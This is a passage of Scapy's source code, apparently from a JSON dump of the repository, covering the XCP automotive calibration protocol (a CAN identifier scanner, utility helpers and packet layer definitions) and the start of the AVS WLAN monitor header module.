    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\n# scapy.contrib.description = XCPScanner\n# scapy.contrib.status = loads\nimport logging\nfrom collections import namedtuple\n\nfrom scapy.config import conf\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.xcp.cto_commands_master import \\\n    TransportLayerCmd, TransportLayerCmdGetSlaveId, Connect\nfrom scapy.contrib.automotive.xcp.cto_commands_slave import \\\n    ConnectPositiveResponse, TransportLayerCmdGetSlaveIdResponse\nfrom scapy.contrib.automotive.xcp.xcp import CTORequest, XCPOnCAN\nfrom scapy.contrib.cansocket_native import CANSocket\n\n# Typing imports\nfrom typing import (\n    Optional,\n    List,\n    Type,\n    Iterator,\n)\n\nXCPScannerResult = namedtuple('XCPScannerResult', 'request_id response_id')\n\n\nclass XCPOnCANScanner:\n    \"\"\"\n    Scans for XCP Slave on CAN\n    \"\"\"\n\n    def __init__(self, can_socket, id_range=None,\n                 sniff_time=0.1, add_padding=False, verbose=False):\n        # type: (CANSocket, Optional[Iterator[int]], Optional[float], Optional[bool], Optional[bool]) -> None # noqa: E501\n\n        \"\"\"\n        Constructor\n        :param can_socket: Can Socket with XCPonCAN as basecls for scan\n        :param id_range: CAN id range to scan\n        :param sniff_time: time the scan waits for a response\n                           after sending a request\n        \"\"\"\n\n        conf.contribs[\"XCP\"][\"add_padding_for_can\"] = add_padding\n        self.__socket = can_socket\n        self.id_range = id_range or range(0, 0x800)\n        self.__sniff_time = sniff_time\n        if verbose:\n            log_automotive.setLevel(logging.DEBUG)\n\n    def _scan(self, identifier, body, pid, answer_type):\n        # type: (int, CTORequest, int, Type) -> List # noqa: E501\n\n        log_automotive.info(\"Scan for id: \" + str(identifier))\n        flags = 'extended' if identifier >= 0x800 else 0\n        cto_request = \\\n            XCPOnCAN(identifier=identifier, flags=flags) \\\n            / CTORequest(pid=pid) / body\n\n        req_and_res_list, _unanswered = \\\n            self.__socket.sr(cto_request, timeout=self.__sniff_time,\n                             verbose=False, multi=True)\n\n        if len(req_and_res_list) == 0:\n            log_automotive.info(\n                \"No answer for identifier: \" + str(identifier))\n            return []\n\n        valid_req_and_res_list = filter(\n            lambda req_and_res: req_and_res[1].haslayer(answer_type),\n            req_and_res_list)\n        return list(valid_req_and_res_list)\n\n    def _send_connect(self, identifier):\n        # type: (int) -> List[XCPScannerResult]\n        \"\"\"\n        Sends CONNECT Message on the Control Area Network\n        \"\"\"\n        all_slaves = []\n        body = Connect(connection_mode=0x00)\n        xcp_req_and_res_list = self._scan(identifier, body, 0xFF,\n                                          ConnectPositiveResponse)\n\n        for req_and_res in xcp_req_and_res_list:\n            result = XCPScannerResult(response_id=req_and_res[1].identifier,\n                                      request_id=identifier)\n            all_slaves.append(result)\n            log_automotive.info(\n                \"Detected XCP slave for broadcast identifier: \" + str(\n                    identifier) + \"\\nResponse: \" + str(result))\n\n        if len(all_slaves) == 0:\n            log_automotive.info(\n                \"No XCP slave detected for identifier: \" + str(identifier))\n        return all_slaves\n\n    def _send_get_slave_id(self, identifier):\n        # type: (int) -> List[XCPScannerResult]\n        \"\"\"\n        Sends GET_SLAVE_ID message on the Control Area Network\n        \"\"\"\n        all_slaves = []\n        body = TransportLayerCmd() / TransportLayerCmdGetSlaveId()\n        xcp_req_and_res_list = \\\n            self._scan(\n                identifier, body, 0xF2, TransportLayerCmdGetSlaveIdResponse)\n\n        for req_and_res in xcp_req_and_res_list:\n            response = req_and_res[1]\n            # The protocol will also mark other XCP messages that might be\n            # send as TransportLayerCmdGetSlaveIdResponse\n            # -> Payload must be checked. It must include XCP\n            if response.position_1 != 0x58 or response.position_2 != 0x43 or \\\n                    response.position_3 != 0x50:\n                continue\n\n            # Identifier that the master must use to send packets to the slave\n            # and the slave will answer with\n            request_id = \\\n                response[\"TransportLayerCmdGetSlaveIdResponse\"].can_identifier\n\n            result = XCPScannerResult(request_id=request_id,\n                                      response_id=response.identifier)\n            all_slaves.append(result)\n            log_automotive.info(\n                \"Detected XCP slave for broadcast identifier: \" + str(\n                    identifier) + \"\\nResponse: \" + str(result))\n\n        return all_slaves\n\n    def scan_with_get_slave_id(self):\n        # type: () -> List[XCPScannerResult]\n        \"\"\"Starts the scan for XCP devices on CAN with the transport specific\n        GetSlaveId Message\"\"\"\n        log_automotive.info(\"Start scan with GetSlaveId id in range: \" + str(\n            self.id_range))\n\n        for identifier in self.id_range:\n            ids = self._send_get_slave_id(identifier)\n            if len(ids) > 0:\n                return ids\n\n        return []\n\n    def scan_with_connect(self):\n        # type: () -> List[XCPScannerResult]\n        log_automotive.info(\"Start scan with CONNECT id in range: \" + str(\n            self.id_range))\n        results = []\n        for identifier in self.id_range:\n            result = self._send_connect(identifier)\n            if len(result) > 0:\n                results.extend(result)\n        return results\n"
  },
  {
    "path": "scapy/contrib/automotive/xcp/utils.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\n# scapy.contrib.status = skip\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.fields import StrLenField\nfrom scapy.volatile import RandBin, RandNum\n\n\ndef get_max_cto():\n    max_cto = conf.contribs['XCP']['MAX_CTO']\n    if max_cto:\n        return max_cto\n\n    log_automotive.warning(\"Define conf.contribs['XCP']['MAX_CTO'].\")\n    raise KeyError(\"conf.contribs['XCP']['MAX_CTO'] not defined\")\n\n\ndef get_max_dto():\n    max_dto = conf.contribs['XCP']['MAX_DTO']\n    if max_dto:\n        return max_dto\n    else:\n        log_automotive.warning(\"Define conf.contribs['XCP']['MAX_DTO'].\")\n        raise KeyError(\"conf.contribs['XCP']['MAX_DTO'] not defined\")\n\n\ndef get_ag():\n    address_granularity = conf.contribs['XCP']['Address_Granularity_Byte']\n    if address_granularity and address_granularity in [1, 2, 4]:\n        return address_granularity\n    else:\n        log_automotive.warning(\n            \"Define conf.contribs['XCP']['Address_Granularity_Byte'].\"\n            \"Assign either 1, 2 or 4\")\n        return 1\n\n\n# With TIMESTAMP_MODE and TIMESTAMP_TICKS at GET_DAQ_RESOLUTION_INFO,\n# the slave informs the master about the Type of Timestamp Field\n# the slave will use when transferring DAQ Packets to the master.\n# The master has to use the same Type of Timestamp Field when transferring\n# STIM Packets to the slave. TIMESTAMP_MODE and TIMEPSTAMP_TICKS contain\n# information on the resolution of the data transfer clock.\ndef get_timestamp_length():\n    return conf.contribs['XCP']['timestamp_size']\n\n\ndef identification_field_needs_alignment():\n    try:\n        identification_field_type_0 = conf.contribs['XCP'][\n            'identification_field_type_0']\n        identification_field_type_1 = conf.contribs['XCP'][\n            'identification_field_type_1']\n        if identification_field_type_1 == 1 and \\\n                identification_field_type_0 == 1:\n            # relative odt with daq as word (aligned)\n            return True\n        return False\n    except KeyError:\n        return False\n\n\ndef get_daq_length():\n    try:\n        identification_field_type_0 = conf.contribs['XCP'][\n            'identification_field_type_0']\n        identification_field_type_1 = conf.contribs['XCP'][\n            'identification_field_type_1']\n\n        if identification_field_type_1 == 0 and \\\n                identification_field_type_0 == 0:\n            # absolute odt number\n            return 0\n        if identification_field_type_1 == 0 and \\\n                identification_field_type_0 == 1:\n            # relative odt with daq as byte\n            return 1\n        # relative odt with daq as word\n        return 2\n    except KeyError:\n        return 0\n\n\ndef get_daq_data_field_length():\n    try:\n        data_length = get_max_dto()\n    except KeyError:\n        return 0\n    data_length -= 1  # pid\n    if identification_field_needs_alignment():\n        data_length -= 1\n    data_length -= get_daq_length()\n\n    return data_length\n\n\n# Idea taken from scapy/scapy/contrib/dce_rpc.py\nclass XCPEndiannessField(object):\n    \"\"\"Field which changes the endianness of a sub-field\"\"\"\n    __slots__ = [\"fld\"]\n\n    def __init__(self, fld):\n        self.fld = fld\n\n    def set_endianness(self):\n        \"\"\"Add the endianness to the format\"\"\"\n        byte_oder = conf.contribs['XCP']['byte_order']\n        endianness = \">\" if byte_oder == 1 else \"<\"\n\n        self.fld.fmt = endianness + self.fld.fmt[1:]\n        self.fld.struct = struct.Struct(self.fld.fmt)\n\n    def getfield(self, pkt, s):\n        self.set_endianness()\n\n        return self.fld.getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        self.set_endianness()\n        return self.fld.addfield(pkt, s, val)\n\n    def __getattr__(self, attr):\n        return getattr(self.fld, attr)\n\n\nclass StrVarLenField(StrLenField):\n    def randval(self):\n        return RandBin(RandNum(0, self.max_length() or 1200))\n"
  },
  {
    "path": "scapy/contrib/automotive/xcp/xcp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\n# scapy.contrib.description = Universal calibration and measurement protocol (XCP) # noqa: E501\n# scapy.contrib.status = loads\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.contrib.automotive.xcp.cto_commands_master import Connect, \\\n    Disconnect, GetStatus, Synch, GetCommModeInfo, GetId, SetRequest, \\\n    GetSeed, Unlock, SetMta, Upload, ShortUpload, BuildChecksum, \\\n    TransportLayerCmd, TransportLayerCmdGetSlaveId, \\\n    TransportLayerCmdGetDAQId, TransportLayerCmdSetDAQId, UserCmd, Download, \\\n    DownloadNext, DownloadMax, ShortDownload, ModifyBits, SetCalPage, \\\n    GetCalPage, GetPagProcessorInfo, GetSegmentInfo, GetPageInfo, \\\n    SetSegmentMode, GetSegmentMode, CopyCalPage, SetDaqPtr, WriteDaq, \\\n    SetDaqListMode, GetDaqListMode, StartStopDaqList, StartStopSynch, \\\n    ReadDaq, GetDaqClock, GetDaqProcessorInfo, GetDaqResolutionInfo, \\\n    GetDaqListInfo, GetDaqEventInfo, ClearDaqList, FreeDaq, AllocDaq, \\\n    AllocOdt, AllocOdtEntry, ProgramStart, ProgramClear, Program, \\\n    ProgramReset, GetPgmProcessorInfo, GetSectorInfo, ProgramPrepare, \\\n    ProgramFormat, ProgramNext, ProgramMax, ProgramVerify\nfrom scapy.contrib.automotive.xcp.cto_commands_slave import \\\n    GenericResponse, NegativeResponse, EvPacket, ServPacket, \\\n    TransportLayerCmdGetSlaveIdResponse, TransportLayerCmdGetDAQIdResponse, \\\n    SegmentInfoMode0PositiveResponse, SegmentInfoMode1PositiveResponse, \\\n    SegmentInfoMode2PositiveResponse, ConnectPositiveResponse, \\\n    StatusPositiveResponse, CommonModeInfoPositiveResponse, \\\n    IdPositiveResponse, SeedPositiveResponse, UnlockPositiveResponse, \\\n    UploadPositiveResponse, ShortUploadPositiveResponse, \\\n    ChecksumPositiveResponse, CalPagePositiveResponse, \\\n    PagProcessorInfoPositiveResponse, PageInfoPositiveResponse, \\\n    SegmentModePositiveResponse, DAQListModePositiveResponse, \\\n    StartStopDAQListPositiveResponse, DAQClockListPositiveResponse, \\\n    ReadDAQPositiveResponse, DAQProcessorInfoPositiveResponse, \\\n    DAQResolutionInfoPositiveResponse, DAQListInfoPositiveResponse, \\\n    DAQEventInfoPositiveResponse, ProgramStartPositiveResponse, \\\n    PgmProcessorPositiveResponse, SectorInfoPositiveResponse\nfrom scapy.contrib.automotive.xcp.utils import get_timestamp_length, \\\n    identification_field_needs_alignment, get_daq_length, \\\n    get_daq_data_field_length\nfrom scapy.fields import ByteEnumField, ShortField, XBitField, \\\n    FlagsField, ByteField, ThreeBytesField, StrField, ConditionalField, \\\n    XByteField, StrLenField\nfrom scapy.layers.can import CAN\nfrom scapy.layers.inet import UDP, TCP\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up, bind_top_down\n\nconf.contribs.setdefault(\"XCP\", {})\n\n# 0 stands for Intel/little-endian format, 1 for Motorola/big-endian format\nconf.contribs[\"XCP\"].setdefault(\"byte_order\", 1)\nconf.contribs[\"XCP\"].setdefault(\"allow_byte_order_change\", True)\n# Can be 1, 2 or 4\nconf.contribs[\"XCP\"].setdefault(\"Address_Granularity_Byte\", None)\nconf.contribs[\"XCP\"].setdefault(\"allow_ag_change\", True)\n\nconf.contribs[\"XCP\"].setdefault(\"MAX_CTO\", None)\nconf.contribs[\"XCP\"].setdefault(\"MAX_DTO\", None)\nconf.contribs[\"XCP\"].setdefault(\"allow_cto_and_dto_change\", True)\nconf.contribs[\"XCP\"].setdefault(\"add_padding_for_can\", False)\n\nconf.contribs['XCP'].setdefault('timestamp_size', 0)\n\n\n# Specifications from:\n# http://read.pudn.com/downloads293/doc/comm/1316424/ASAM_XCP_Part1-Overview_V1.0.0.pdf # noqa: E501\n# http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%202-%20Protocol%20Layer%20Specification%20-1.0.pdf # noqa: E501\n# http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%203-%20Transport_layer_specification_xcp_on_can_1-0.pdf # noqa: E501\n# http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%204-%20Interface%20Specification%20-1.0.pdf # noqa: E501\n# http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501\n\n# XCP on USB is left out because it has \"no practical meaning\"\n# XCP on Lin is left out because it has no official specification\nclass XCPOnCAN(CAN):\n    name = \"Universal calibration and measurement protocol on CAN\"\n    fields_desc = [\n        FlagsField(\"flags\", 0, 3, [\"error\",\n                                   \"remote_transmission_request\",\n                                   \"extended\"]),\n        XBitField(\"identifier\", 0, 29),\n        ByteField(\"length\", None),\n        ThreeBytesField(\"reserved\", 0),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.length is None or \\\n                (len(pay) < 8 and conf.contribs[\"XCP\"][\"add_padding_for_can\"]):\n            tmp_len = 8 if conf.contribs[\"XCP\"][\"add_padding_for_can\"] else \\\n                len(pay)\n            pkt = pkt[:4] + struct.pack(\"B\", tmp_len) + pkt[5:]\n            pay += b\"\\xCC\" * (tmp_len - len(pay))\n        return super(XCPOnCAN, self).post_build(pkt, pay)\n\n    def extract_padding(self, p):\n        return p[:self.length], None\n\n\nclass XCPOnUDP(UDP):\n    name = \"Universal calibration and measurement protocol on Ethernet\"\n    fields_desc = UDP.fields_desc + [\n        ShortField(\"length\", None),\n        ShortField(\"ctr\", 0),  # counter\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            tmp_len = len(pay)\n            pkt = pkt[:8] + struct.pack(\"!H\", tmp_len) + pkt[10:]\n        return super(XCPOnUDP, self).post_build(pkt, pay)\n\n\nclass XCPOnTCP(TCP):\n    name = \"Universal calibration and measurement protocol on Ethernet\"\n\n    fields_desc = TCP.fields_desc + [\n        ShortField(\"length\", None),\n        ShortField(\"ctr\", 0),  # counter\n    ]\n\n    def answers(self, other):\n        if not isinstance(other, XCPOnTCP):\n            return 0\n        if isinstance(other.payload, CTORequest) and isinstance(self.payload,\n                                                                CTOResponse):\n            return self.payload.answers(other.payload)\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            len_offset = 20 + len(self.options)\n            tmp_len = len(pay)\n            tmp_len = struct.pack(\"!H\", tmp_len)\n            pkt = pkt[:len_offset] + tmp_len + pkt[len_offset + 2:]\n        return super(XCPOnTCP, self).post_build(pkt, pay)\n\n\nclass XCPOnCANTail(Packet):\n    name = \"XCP Tail on CAN\"\n\n    fields_desc = [\n        StrField(\"control_field\", \"\")\n    ]\n\n\nclass CTORequest(Packet):\n    pids = {\n        # Standard commands\n        0xFF: \"CONNECT\",\n        0xFE: \"DISCONNECT\",\n        0xFD: \"GET_STATUS\",\n        0xFC: \"SYNCH\",\n        0xFB: \"GET_COMM_MODE_INFO\",\n        0xFA: \"GET_ID\",\n        0xF9: \"SET_REQUEST\",\n        0xF8: \"GET_SEED\",\n        0xF7: \"UNLOCK\",\n        0xF6: \"SET_MTA\",\n        0xF5: \"UPLOAD\",\n        0xF4: \"SHORT_UPLOAD\",\n        0xF3: \"BUILD_CHECKSUM\",\n        0xF2: \"TRANSPORT_LAYER_CMD\",\n        0xF1: \"USER_CMD\",\n        # Calibration commands\n        0xF0: \"DOWNLOAD\",\n        0xEF: \"DOWNLOAD_NEXT\",\n        0xEE: \"DOWNLOAD_MAX\",\n        0xED: \"SHORT_DOWNLOAD\",\n        0xEC: \"MODIFY_BITS\",\n        # Page change commands\n        0xEB: \"SET_CAL_PAGE\",\n        0xEA: \"GET_CAL_PAGE\",\n        0xE9: \"GET_PAG_PROCESSOR_INFO\",\n        0xE8: \"GET_SEGMENT_INFO\",\n        0xE7: \"GET_PAGE_INFO\",\n        0xE6: \"SET_SEGMENT_MODE\",\n        0xE5: \"GET_SEGMENT_MODE\",\n        0xE4: \"COPY_CAL_PAGE\",\n        # Periodic data exchange basics\n        0xE2: \"SET_DAQ_PTR\",\n        0xE1: \"WRITE_DAQ\",\n        0xE0: \"SET_DAQ_LIST_MODE\",\n        0xDF: \"GET_DAQ_LIST_MODE\",\n        0xDE: \"START_STOP_DAQ_LIST\",\n        0xDD: \"START_STOP_SYNCH\",\n        0xC7: \"WRITE_DAQ_MULTIPLE\",\n        0xDB: \"READ_DAQ\",\n        0xDC: \"GET_DAQ_CLOCK\",\n        0xDA: \"GET_DAQ_PROCESSOR_INFO\",\n        0xD9: \"GET_DAQ_RESOLUTION_INFO\",\n        0xD8: \"GET_DAQ_LIST_INFO\",\n        0xD7: \"GET_DAQ_EVENT_INFO\",\n        # Periodic data exchange static configuration\n        0xE3: \"CLEAR_DAQ_LIST\",\n        # Cyclic data exchange dynamic configuration\n        0xD6: \"FREE_DAQ\",\n        0xD5: \"ALLOC_DAQ\",\n        0xD4: \"ALLOC_ODT\",\n        0xD3: \"ALLOC_ODT_ENTRY\",\n        # Flash programming\n        0xD2: \"PROGRAM_START\",\n        0xD1: \"PROGRAM_CLEAR\",\n        0xD0: \"PROGRAM\",\n        0xCF: \"PROGRAM_RESET\",\n        0xCE: \"GET_PGM_PROCESSOR_INFO\",\n        0xCD: \"GET_SECTOR_INFO\",\n        0xCC: \"PROGRAM_PREPARE\",\n        0xCB: \"PROGRAM_FORMAT\",\n        0xCA: \"PROGRAM_NEXT\",\n        0xC9: \"PROGRAM_MAX\",\n        0xC8: \"PROGRAM_VERIFY\",\n    }\n\n    for pid in range(0, 192):\n        pids[pid] = \"STIM\"\n    name = \"Command Transfer Object Request\"\n\n    fields_desc = [\n        ByteEnumField(\"pid\", 0xFF, pids),\n    ]\n\n\n# ##### CTO COMMANDS ######\n\n# STANDARD COMMANDS\nbind_layers(CTORequest, Connect, pid=0xFF)\nbind_layers(CTORequest, Disconnect, pid=0xFE)\nbind_layers(CTORequest, GetStatus, pid=0xFD)\nbind_layers(CTORequest, Synch, pid=0xFC)\nbind_layers(CTORequest, GetCommModeInfo, pid=0xFB)\nbind_layers(CTORequest, GetId, pid=0xFA)\nbind_layers(CTORequest, SetRequest, pid=0xF9)\nbind_layers(CTORequest, GetSeed, pid=0xF8)\nbind_layers(CTORequest, Unlock, pid=0xF7)\nbind_layers(CTORequest, SetMta, pid=0xF6)\nbind_layers(CTORequest, Upload, pid=0xF5)\nbind_layers(CTORequest, ShortUpload, pid=0xF4)\nbind_layers(CTORequest, BuildChecksum, pid=0xF3)\nbind_layers(CTORequest, TransportLayerCmd, pid=0xF2)\nbind_layers(CTORequest, TransportLayerCmdGetSlaveId, pid=0xF2,\n            sub_command_code=0xFF)\nbind_layers(CTORequest, TransportLayerCmdGetDAQId, pid=0xF2,\n            sub_command_code=0xFE)\nbind_layers(CTORequest, TransportLayerCmdSetDAQId, pid=0xF2,\n            sub_command_code=0xFD)\nbind_layers(CTORequest, UserCmd, pid=0xF1)\n\n# Calibration Commands\nbind_layers(CTORequest, Download, pid=0xF0)\nbind_layers(CTORequest, DownloadNext, pid=0xEF)\nbind_layers(CTORequest, DownloadMax, pid=0xEE)\nbind_layers(CTORequest, ShortDownload, pid=0xED)\nbind_layers(CTORequest, ModifyBits, pid=0xEC)\n\n# Page Switching commands\nbind_layers(CTORequest, SetCalPage, pid=0xEB)\nbind_layers(CTORequest, GetCalPage, pid=0xEA)\nbind_layers(CTORequest, GetPagProcessorInfo, pid=0xE9)\nbind_layers(CTORequest, GetSegmentInfo, pid=0xE8)\nbind_layers(CTORequest, GetPageInfo, pid=0xE7)\nbind_layers(CTORequest, SetSegmentMode, pid=0xE6)\nbind_layers(CTORequest, GetSegmentMode, pid=0xE5)\nbind_layers(CTORequest, CopyCalPage, pid=0xE4)\n\n# Cyclic Data exchange Basic commands\nbind_layers(CTORequest, SetDaqPtr, pid=0xE2)\nbind_layers(CTORequest, WriteDaq, pid=0xE1)\nbind_layers(CTORequest, SetDaqListMode, pid=0xE0)\nbind_layers(CTORequest, GetDaqListMode, pid=0xDF)\nbind_layers(CTORequest, StartStopDaqList, pid=0xDE)\nbind_layers(CTORequest, StartStopSynch, pid=0xDD)\nbind_layers(CTORequest, ReadDaq, pid=0xDB)\nbind_layers(CTORequest, GetDaqClock, pid=0xDC)\nbind_layers(CTORequest, GetDaqProcessorInfo, pid=0xDA)\nbind_layers(CTORequest, GetDaqResolutionInfo, pid=0xD9)\nbind_layers(CTORequest, GetDaqListInfo, pid=0xD8)\nbind_layers(CTORequest, GetDaqEventInfo, pid=0xD7)\n\n# Cyclic data transfer - static configuration commands\nbind_layers(CTORequest, ClearDaqList, pid=0xE3)\n\n# Cyclic Data transfer - dynamic configuration commands\nbind_layers(CTORequest, FreeDaq, pid=0xD6)\nbind_layers(CTORequest, AllocDaq, pid=0xD5)\nbind_layers(CTORequest, AllocOdt, pid=0xD4)\nbind_layers(CTORequest, AllocOdtEntry, pid=0xD3)\n\n# Flash Programming commands\nbind_layers(CTORequest, ProgramStart, pid=0xD2)\nbind_layers(CTORequest, ProgramClear, pid=0xD1)\nbind_layers(CTORequest, Program, pid=0xD0)\nbind_layers(CTORequest, ProgramReset, pid=0xCF)\nbind_layers(CTORequest, GetPgmProcessorInfo, pid=0xCE)\nbind_layers(CTORequest, GetSectorInfo, pid=0xCD)\nbind_layers(CTORequest, ProgramPrepare, pid=0xCC)\nbind_layers(CTORequest, ProgramFormat, pid=0xCB)\nbind_layers(CTORequest, ProgramNext, pid=0xCA)\nbind_layers(CTORequest, ProgramMax, pid=0xC9)\nbind_layers(CTORequest, ProgramVerify, pid=0xC8)\n\n\n# ##### DTOs #####\n# Master -> Slave:  STIM (Stimulation)\n# Slave  -> Master: DAQ (Data AcQuisition)\nclass DTO(Packet):\n    name = \"Data transfer object\"\n    fields_desc = [\n        ConditionalField(XByteField(\"fill\", 0x00),\n                         lambda _: identification_field_needs_alignment()),\n        ConditionalField(\n            StrLenField(\"daq\", b\"\", length_from=lambda _: get_daq_length()),\n            lambda _: get_daq_length() > 0),\n        ConditionalField(\n            StrLenField(\"timestamp\", b\"\",\n                        length_from=lambda _: get_timestamp_length()),\n            lambda _: get_timestamp_length() > 0),\n        ConditionalField(\n            StrLenField(\"data\", b\"\",\n                        length_from=lambda _: get_daq_data_field_length()),\n            lambda _: get_daq_data_field_length() > 0)\n    ]\n\n\nfor pid in range(0, 0xBF + 1):\n    bind_layers(CTORequest, DTO, pid=pid)\n\n\nclass CTOResponse(Packet):\n    packet_codes = {\n        0xFF: \"RES\",\n        0xFE: \"ERR\",\n        0xFD: \"EV\",\n        0xFC: \"SERV\",\n    }\n    name = \"Command Transfer Object Response\"\n\n    fields_desc = [\n        ByteEnumField(\"packet_code\", 0xFF, packet_codes),\n    ]\n\n    @staticmethod\n    def get_positive_response_cls(request):\n        # The pid of the request this packet is the response for\n        request_pid = request.pid\n        # First check the special cases with sub commands\n        # They can't be fit in a simple dictionary,\n        # so deal with them separately\n        if request_pid == 0xF2:\n            if request.sub_command_code == 255:\n                return TransportLayerCmdGetSlaveIdResponse\n            if request.sub_command_code == 254:\n                return TransportLayerCmdGetDAQIdResponse\n        if request_pid == 0xE8:\n            if request.mode == \"get_basic_address_info\":\n                return SegmentInfoMode0PositiveResponse\n            if request.mode == \"get_standard_info\":\n                return SegmentInfoMode1PositiveResponse\n            if request.mode == \"get_address_mapping_info\":\n                return SegmentInfoMode2PositiveResponse\n        return {0xFF: ConnectPositiveResponse,\n                0xFD: StatusPositiveResponse,\n                0xFB: CommonModeInfoPositiveResponse,\n                0xFA: IdPositiveResponse,\n                0xF8: SeedPositiveResponse,\n                0xF7: UnlockPositiveResponse,\n                0xF5: UploadPositiveResponse,\n                0xF4: ShortUploadPositiveResponse,\n                0xF3: ChecksumPositiveResponse,\n                0xEA: CalPagePositiveResponse,\n                0xE9: PagProcessorInfoPositiveResponse,\n                0xE7: PageInfoPositiveResponse,\n                0xE5: SegmentModePositiveResponse,\n                0xDF: DAQListModePositiveResponse,\n                0xDE: StartStopDAQListPositiveResponse,\n                0xDC: DAQClockListPositiveResponse,\n                0xDB: ReadDAQPositiveResponse,\n                0xDA: DAQProcessorInfoPositiveResponse,\n                0xD9: DAQResolutionInfoPositiveResponse,\n                0xD8: DAQListInfoPositiveResponse,\n                0xD7: DAQEventInfoPositiveResponse,\n                0xD2: ProgramStartPositiveResponse,\n                0xCE: PgmProcessorPositiveResponse,\n                0xCD: SectorInfoPositiveResponse,\n                }.get(request_pid, GenericResponse)\n\n    def answers(self, request):\n        \"\"\"In XCP, the payload of a response packet is dependent on the pid\n        field of the corresponding request.\n        This method changes the class of the payload to the class\n        which is expected for the given request.\"\"\"\n        if not isinstance(request, CTORequest):\n            return False\n\n        # FE: Negative Response\n        # FD: Event Packet\n        # FC: Service Packet\n        # They are always a valid response\n        if self.packet_code in [0xFE, 0xFD, 0xFC]:\n            return True\n        # FF: Positive Response\n        if self.packet_code != 0xFF:\n            return False\n\n        payload_cls = self.get_positive_response_cls(request)\n\n        minimum_expected_byte_count = len(payload_cls())\n        given_byte_count = len(self.payload)\n\n        if given_byte_count < minimum_expected_byte_count:\n            return False\n\n        # Even if there are enough bytes, we can't be sure that they align\n        # correctly to the fields. Then a struct.error exception is thrown.\n        # For example\n        # Fields: byte, byte, short\n        # Packet: 01 02 03\n        # This would fail because there are enough bytes that scapy starts\n        # to parse the short field, but there are actually not enough bytes\n        # to fill it.\n        try:\n            data = bytes(self.payload)\n            self.remove_payload()\n            self.add_payload(payload_cls(data))\n        except struct.error:\n            return False\n        return True\n\n\nfor pid in range(0, 0xFB + 1):\n    bind_layers(CTOResponse, DTO, pid=pid)\n\npositive_response_classes = [ConnectPositiveResponse,\n                             StatusPositiveResponse,\n                             CommonModeInfoPositiveResponse,\n                             IdPositiveResponse,\n                             SeedPositiveResponse,\n                             UnlockPositiveResponse,\n                             UploadPositiveResponse,\n                             ShortUploadPositiveResponse,\n                             ChecksumPositiveResponse,\n                             CalPagePositiveResponse,\n                             PagProcessorInfoPositiveResponse,\n                             PageInfoPositiveResponse,\n                             SegmentModePositiveResponse,\n                             DAQListModePositiveResponse,\n                             StartStopDAQListPositiveResponse,\n                             DAQClockListPositiveResponse,\n                             ReadDAQPositiveResponse,\n                             DAQProcessorInfoPositiveResponse,\n                             DAQResolutionInfoPositiveResponse,\n                             DAQListInfoPositiveResponse,\n                             DAQEventInfoPositiveResponse,\n                             ProgramStartPositiveResponse,\n                             PgmProcessorPositiveResponse,\n                             SectorInfoPositiveResponse]\n\nfor cls in positive_response_classes:\n    bind_top_down(CTOResponse, cls, packet_code=0xFF)\n\nbind_layers(CTOResponse, NegativeResponse, packet_code=0xFE)\n\n# Asynchronous Event/request messages from the slave\nbind_layers(CTOResponse, EvPacket, packet_code=0xFD)\nbind_layers(CTOResponse, ServPacket, packet_code=0xFC)\n\nbind_bottom_up(XCPOnCAN, CTOResponse)\nbind_bottom_up(XCPOnUDP, CTOResponse)\nbind_bottom_up(XCPOnTCP, CTOResponse)\n"
  },
  {
    "path": "scapy/contrib/avs.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = AVS WLAN Monitor Header\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import IntEnumField, IntField, LongField, SignedIntField\nfrom scapy.layers.dot11 import Dot11\nfrom scapy.data import DLT_IEEE802_11_RADIO_AVS\nfrom scapy.config import conf\n\nAVSWLANPhyType = {0: \"Unknown\",\n                  1: \"FHSS 802.11 '97\",\n                  2: \"DSSS 802.11 '97\",\n                  3: \"IR Baseband\",\n                  4: \"DSSS 802.11b\",\n                  5: \"PBCC 802.11b\",\n                  6: \"OFDM 802.11g\",\n                  7: \"PBCC 802.11g\",\n                  8: \"OFDM 802.11a\"}\n\nAVSWLANEncodingType = {0: \"Unknown\",\n                       1: \"CCK\",\n                       2: \"PBCC\",\n                       3: \"OFDM\"}\n\nAVSWLANSSIType = {0: \"None\",\n                  1: \"Normalized RSSI\",\n                  2: \"dBm\",\n                  3: \"Raw RSSI\"}\n\nAVSWLANPreambleType = {0: \"Unknown\",\n                       1: \"Short\",\n                       2: \"Long\"}\n\n\nclass AVSWLANHeader(Packet):\n    \"\"\" iwpriv eth1 set_prismhdr 1 \"\"\"\n    name = \"AVS WLAN Monitor Header\"\n    fields_desc = [IntField(\"version\", 1),\n                   IntField(\"len\", 64),\n                   LongField(\"mactime\", 0),\n                   LongField(\"hosttime\", 0),\n                   IntEnumField(\"phytype\", 0, AVSWLANPhyType),\n                   IntField(\"channel\", 0),\n                   IntField(\"datarate\", 0),\n                   IntField(\"antenna\", 0),\n                   IntField(\"priority\", 0),\n                   IntEnumField(\"ssi_type\", 0, AVSWLANSSIType),\n                   SignedIntField(\"ssi_signal\", 0),\n                   